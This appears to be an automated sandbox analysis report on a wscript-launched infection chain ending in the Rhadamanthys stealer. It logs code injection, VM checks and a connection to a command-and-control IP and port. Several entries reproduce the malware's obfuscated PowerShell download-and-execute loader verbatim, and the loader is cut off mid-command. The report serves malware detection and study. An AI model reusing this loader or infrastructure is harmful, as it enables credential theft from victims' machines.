Source: wscript.exe, 00000000.00000003.2164391636.0000019A9B9F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166806098.0000019A9BA14000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166438855.0000019A9BA0E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164769829.0000019A9BA18000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2187620756.0000019A9BA16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2185104998.0000019A9BA16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165994185.0000019A9BA14000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167108907.0000019A9BA14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`b
Source: wscript.exe, 00000000.00000003.2185104998.0000019A9BA16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: wscript.exe, 00000000.00000003.2163447256.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2165994185.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164391636.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2187620756.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166806098.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2167108907.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2185104998.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2164769829.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2166438855.0000019A9BA62000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2348383471.0000020FCC7CE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3434297818.0000020984456000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 12_2_07845B88 LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

12_2_07845B88

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 22_3_007C0283 mov eax, dword ptr fs:[00000030h]

22_3_007C0283

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 87.120.127.215 3847

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_524.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7756, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Program Files\Windows Media Player\wmpshare.exe

Memory allocated: C:\Windows\System32\dllhost.exe base: 26E58410000 protect: page read and write

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3A60000	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Memory written: C:\Windows\System32\dllhost.exe base: 26E58410000
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Memory written: C:\Windows\System32\dllhost.exe base: 7FF642EC14E0

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$blodudtrdningen='afhndede';;$noncooperator='cryophorus';;$thalassinian='josephina';;$maste193='forslvendes';;$downthrust=$host.name; function symboltabeller($blowtube){if ($downthrust) {$morphogenic='ukammerater';$overstegne=2;$smugleriernes=$overstegne}do{$usaglige+=$blowtube[$smugleriernes];$smugleriernes+=3} until(!$blowtube[$smugleriernes])$usaglige}function cleavingly($ethnicon){ .($gudmors) ($ethnicon)}$medioanterior=symboltabeller 'ben eexttw.f w';$medioanterior+=symboltabeller 'reeunblacb,lo,i kebrn ft';$forstdelsernes=symboltabeller 'rym ro dz.riopl,aldeaam/';$udlodning=symboltabeller 'p t.klbls f1se2';$rival='n [,in be sttr.fjsase mrgivmoisacnee mpbeo cibonanttime a lnedapagdoecor,l] : d: ss emoc u krs i ttsayfopb.r so t po bcklo,rlf =vu$ us dduld oped en,ei dnnig';$forstdelsernes+=symboltabeller 'mo5s .no0mo t(tiwimi.on pd oavwdoso. lynchtf. p1 e0me.af0k,;ap cowt iminsn6 4f ; unx,a6 u4ac; l fargrvga:.e1ab3u 1in.s 0 f)la logu,e kchokino l/.u2sh0 e1un0ha0me1 f0sa1 i kefidi argre rf jo nx l/t 1,a3ac1ca. ,0';$hoejkulturer=symboltabeller ' duansgneb rti- audg ,e on .t';$eliksirers=symboltabeller '.oh pt tc,panspl:fe/ni/chwinw hwd . atundskesij .bde.chc ho am ./exew fsk/ stokprislf tp ep r nn xet .scsche ea e>unh ftd,t np she:fl/.l/,iw swbew .o a,krgeemrcseo ksa afolaud gagatanu srmie,e.spi kt ./ seenfpf/ rs.eketiinfsutmeeh.r,anamead.v sane ia';$programmeringsskik1=symboltabeller 'a >';$gudmors=symboltabeller ' bic eh x';$strudsmaven='circumscript';$fastprissystemet='\even.lar';cleavingly (symboltabeller '.a$esga.lepoarblaakal e: ai goved fi sn .etrs b=a,$stebrnu vap:emab pmapmedc a tt agu+s $ fe,abes tsepsirfoiges.es,uytis.mt teo ms.ek,t');cleavingly (symboltabeller ' c$ang olkvohabroa lkv:spvk a .apabloerenbofruatebder aistkdy=pr$ resolazi dkt,s kiskrune .r fsch.sasnepprlopitetra( a$anpsyr roubgvirfuavim.amskefor ei ond.g wsm sr kprihekte1 ,)');cleavingly (symboltabeller $rival);$eliksirers=$vaabenfabrik[0];$portor=(symboltabeller 're$prg,tlneow,bs.ap lf,:.aafrtdienol i ,e kr .v eiden fdwhumeer = anu enywin- kotrbstj,yebrcmitde besryy os.ttr.ea mka. i$ bm lelyd siraoulapena.t eedir itho r');cleavingly ($portor);cleavingly (symboltabeller 's $.iavitbaemilmiitoewirinvegiunntidduupae e. hs es a dprescr ,s s[wu$vrhruo,pe jh,kscu ul kthyuenru ed r e].r=an$plfp obirpasadtkad.be elbisa enerl nteefus');$pastina=symboltabeller 've$sea ett,e ll oi,oemirruvkaimin tdopu aesk. fd uo wopn cl,iodeal d kf,ei el sed (bo$saefel li,iknas ei nr decorbesbe,in$ sbotfiem.mfin pi bnddg osh.fapu plledobtot)';$stemningsfuldt=$iodines;cleavingly (symboltabeller 'sm$ agk.lanoc,bg.a.rl u:afw iemoe ukmdechn ed hus dsefaal,ru gretunehar tn fe is t= e(ertc e suntp -alp rao,tfohc vi$,rs ntkie sm bn aiunneggfis.ofwaur lafd t.a)');while (!$weekendudflugternes) {cleavingly (symboltabeller ' g$geghelb,o ,b a klan:trf,no de
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" ";$blodudtrdningen='afhndede';;$noncooperator='cryophorus';;$thalassinian='josephina';;$maste193='forslvendes';;$downthrust=$host.name; function symboltabeller($blowtube){if ($downthrust) {$morphogenic='ukammerater';$overstegne=2;$smugleriernes=$overstegne}do{$usaglige+=$blowtube[$smugleriernes];$smugleriernes+=3} until(!$blowtube[$smugleriernes])$usaglige}function cleavingly($ethnicon){ .($gudmors) ($ethnicon)}$medioanterior=symboltabeller 'ben eexttw.f w';$medioanterior+=symboltabeller 'reeunblacb,lo,i kebrn ft';$forstdelsernes=symboltabeller 'rym ro dz.riopl,aldeaam/';$udlodning=symboltabeller 'p t.klbls f1se2';$rival='n [,in be sttr.fjsase mrgivmoisacnee mpbeo cibonanttime a lnedapagdoecor,l] : d: ss emoc u krs i ttsayfopb.r so t po bcklo,rlf =vu$ us dduld oped en,ei dnnig';$forstdelsernes+=symboltabeller 'mo5s .no0mo t(tiwimi.on pd oavwdoso. lynchtf. p1 e0me.af0k,;ap cowt iminsn6 4f ; unx,a6 u4ac; l fargrvga:.e1ab3u 1in.s 0 f)la logu,e kchokino l/.u2sh0 e1un0ha0me1 f0sa1 i kefidi argre rf jo nx l/t 1,a3ac1ca. ,0';$hoejkulturer=symboltabeller ' duansgneb rti- audg ,e on .t';$eliksirers=symboltabeller '.oh pt tc,panspl:fe/ni/chwinw hwd . atundskesij .bde.chc ho am ./exew fsk/ stokprislf tp ep r nn xet .scsche ea e>unh ftd,t np she:fl/.l/,iw swbew .o a,krgeemrcseo ksa afolaud gagatanu srmie,e.spi kt ./ seenfpf/ rs.eketiinfsutmeeh.r,anamead.v sane ia';$programmeringsskik1=symboltabeller 'a >';$gudmors=symboltabeller ' bic eh x';$strudsmaven='circumscript';$fastprissystemet='\even.lar';cleavingly (symboltabeller '.a$esga.lepoarblaakal e: ai goved fi sn .etrs b=a,$stebrnu vap:emab pmapmedc a tt agu+s $ fe,abes tsepsirfoiges.es,uytis.mt teo ms.ek,t');cleavingly (symboltabeller ' c$ang olkvohabroa lkv:spvk a .apabloerenbofruatebder aistkdy=pr$ resolazi dkt,s kiskrune .r fsch.sasnepprlopitetra( a$anpsyr roubgvirfuavim.amskefor ei ond.g wsm sr kprihekte1 ,)');cleavingly (symboltabeller $rival);$eliksirers=$vaabenfabrik[0];$portor=(symboltabeller 're$prg,tlneow,bs.ap lf,:.aafrtdienol i ,e kr .v eiden fdwhumeer = anu enywin- kotrbstj,yebrcmitde besryy os.ttr.ea mka. i$ bm lelyd siraoulapena.t eedir itho r');cleavingly ($portor);cleavingly (symboltabeller 's $.iavitbaemilmiitoewirinvegiunntidduupae e. hs es a dprescr ,s s[wu$vrhruo,pe jh,kscu ul kthyuenru ed r e].r=an$plfp obirpasadtkad.be elbisa enerl nteefus');$pastina=symboltabeller 've$sea ett,e ll oi,oemirruvkaimin tdopu aesk. fd uo wopn cl,iodeal d kf,ei el sed (bo$saefel li,iknas ei nr decorbesbe,in$ sbotfiem.mfin pi bnddg osh.fapu plledobtot)';$stemningsfuldt=$iodines;cleavingly (symboltabeller 'sm$ agk.lanoc,bg.a.rl u:afw iemoe ukmdechn ed hus dsefaal,ru gretunehar tn fe is t= e(ertc e suntp -alp rao,tfohc vi$,rs ntkie sm bn aiunneggfis.ofwaur lafd t.a)');while (!$weekendudflugternes) {cleavingly (symboltabeller ' g$geghelb,o ,b a klan:trf,no de
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$blodudtrdningen='afhndede';;$noncooperator='cryophorus';;$thalassinian='josephina';;$maste193='forslvendes';;$downthrust=$host.name; function symboltabeller($blowtube){if ($downthrust) {$morphogenic='ukammerater';$overstegne=2;$smugleriernes=$overstegne}do{$usaglige+=$blowtube[$smugleriernes];$smugleriernes+=3} until(!$blowtube[$smugleriernes])$usaglige}function cleavingly($ethnicon){ .($gudmors) ($ethnicon)}$medioanterior=symboltabeller 'ben eexttw.f w';$medioanterior+=symboltabeller 'reeunblacb,lo,i kebrn ft';$forstdelsernes=symboltabeller 'rym ro dz.riopl,aldeaam/';$udlodning=symboltabeller 'p t.klbls f1se2';$rival='n [,in be sttr.fjsase mrgivmoisacnee mpbeo cibonanttime a lnedapagdoecor,l] : d: ss emoc u krs i ttsayfopb.r so t po bcklo,rlf =vu$ us dduld oped en,ei dnnig';$forstdelsernes+=symboltabeller 'mo5s .no0mo t(tiwimi.on pd oavwdoso. lynchtf. p1 e0me.af0k,;ap cowt iminsn6 4f ; unx,a6 u4ac; l fargrvga:.e1ab3u 1in.s 0 f)la logu,e kchokino l/.u2sh0 e1un0ha0me1 f0sa1 i kefidi argre rf jo nx l/t 1,a3ac1ca. ,0';$hoejkulturer=symboltabeller ' duansgneb rti- audg ,e on .t';$eliksirers=symboltabeller '.oh pt tc,panspl:fe/ni/chwinw hwd . atundskesij .bde.chc ho am ./exew fsk/ stokprislf tp ep r nn xet .scsche ea e>unh ftd,t np she:fl/.l/,iw swbew .o a,krgeemrcseo ksa afolaud gagatanu srmie,e.spi kt ./ seenfpf/ rs.eketiinfsutmeeh.r,anamead.v sane ia';$programmeringsskik1=symboltabeller 'a >';$gudmors=symboltabeller ' bic eh x';$strudsmaven='circumscript';$fastprissystemet='\even.lar';cleavingly (symboltabeller '.a$esga.lepoarblaakal e: ai goved fi sn .etrs b=a,$stebrnu vap:emab pmapmedc a tt agu+s $ fe,abes tsepsirfoiges.es,uytis.mt teo ms.ek,t');cleavingly (symboltabeller ' c$ang olkvohabroa lkv:spvk a .apabloerenbofruatebder aistkdy=pr$ resolazi dkt,s kiskrune .r fsch.sasnepprlopitetra( a$anpsyr roubgvirfuavim.amskefor ei ond.g wsm sr kprihekte1 ,)');cleavingly (symboltabeller $rival);$eliksirers=$vaabenfabrik[0];$portor=(symboltabeller 're$prg,tlneow,bs.ap lf,:.aafrtdienol i ,e kr .v eiden fdwhumeer = anu enywin- kotrbstj,yebrcmitde besryy os.ttr.ea mka. i$ bm lelyd siraoulapena.t eedir itho r');cleavingly ($portor);cleavingly (symboltabeller 's $.iavitbaemilmiitoewirinvegiunntidduupae e. hs es a dprescr ,s s[wu$vrhruo,pe jh,kscu ul kthyuenru ed r e].r=an$plfp obirpasadtkad.be elbisa enerl nteefus');$pastina=symboltabeller 've$sea ett,e ll oi,oemirruvkaimin tdopu aesk. fd uo wopn cl,iodeal d kf,ei el sed (bo$saefel li,iknas ei nr decorbesbe,in$ sbotfiem.mfin pi bnddg osh.fapu plledobtot)';$stemningsfuldt=$iodines;cleavingly (symboltabeller 'sm$ agk.lanoc,bg.a.rl u:afw iemoe ukmdechn ed hus dsefaal,ru gretunehar tn fe is t= e(ertc e suntp -alp rao,tfohc vi$,rs ntkie sm bn aiunneggfis.ofwaur lafd t.a)');while (!$weekendudflugternes) {cleavingly (symboltabeller ' g$geghelb,o ,b a klan:trf,no de	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\svchost.exe

Code function: 23_3_00007DF416F959B0 CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

23_3_00007DF416F959B0

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected RHADAMANTHYS Stealer

Stealing of Sensitive Information

Source: Yara match	File source: 00000016.00000003.2709177603.0000000000B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2704689744.0000000002540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
